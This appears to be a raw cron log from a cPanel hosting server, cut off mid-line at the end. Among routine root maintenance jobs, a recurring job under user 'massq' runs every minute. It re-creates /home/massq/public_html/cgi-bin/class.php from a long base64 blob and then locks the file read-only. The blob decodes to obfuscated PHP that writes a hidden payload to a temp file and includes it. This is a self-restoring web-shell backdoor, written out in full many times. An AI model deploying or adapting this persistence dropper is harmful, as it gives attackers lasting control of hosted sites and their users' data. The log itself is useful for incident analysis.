Sep 12 08:54:01 server CROND[7955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:54:01 server CROND[7956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:55:01 server CROND[8361]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:55:01 server CROND[8363]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:55:01 server CROND[8366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:55:01 server CROND[8364]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:55:01 server CROND[8367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:55:01 server CROND[8371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:55:01 server CROND[8368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:56:01 server CROND[9182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:56:01 server CROND[9183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:56:01 server CROND[9184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:57:01 server CROND[9670]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 08:57:01 server CROND[9671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:57:01 server CROND[9672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:57:01 server CROND[9673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:58:01 server CROND[10097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:58:01 server CROND[10098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:58:01 server CROND[10099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:59:01 server CROND[10519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:59:01 server CROND[10520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:59:01 server CROND[10521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:00:01 server CROND[10921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:00:01 server CROND[10922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:00:01 server CROND[10928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:00:01 server CROND[10933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:00:01 server CROND[10932]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:00:01 server CROND[10931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:00:01 server CROND[10934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:00:01 server CROND[10936]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 12 09:00:01 server CROND[10935]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 09:00:01 server CROND[10937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:01:01 server CROND[11803]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 09:01:01 server CROND[11804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:01:01 server CROND[11805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:01:01 server CROND[11809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:01:01 server run-parts(/etc/cron.hourly)[11803]: starting 0anacron
Sep 12 09:01:01 server run-parts(/etc/cron.hourly)[11824]: finished 0anacron
Sep 12 09:02:01 server CROND[12289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:02:01 server CROND[12290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:02:01 server CROND[12291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:03:01 server CROND[12713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:03:01 server CROND[12714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:03:01 server CROND[12715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:04:01 server CROND[13094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:04:01 server CROND[13095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:04:01 server CROND[13096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:05:01 server CROND[13491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:05:01 server CROND[13493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:05:01 server CROND[13495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:05:01 server CROND[13503]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 09:05:01 server CROND[13501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:05:01 server CROND[13500]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:05:01 server CROND[13499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOL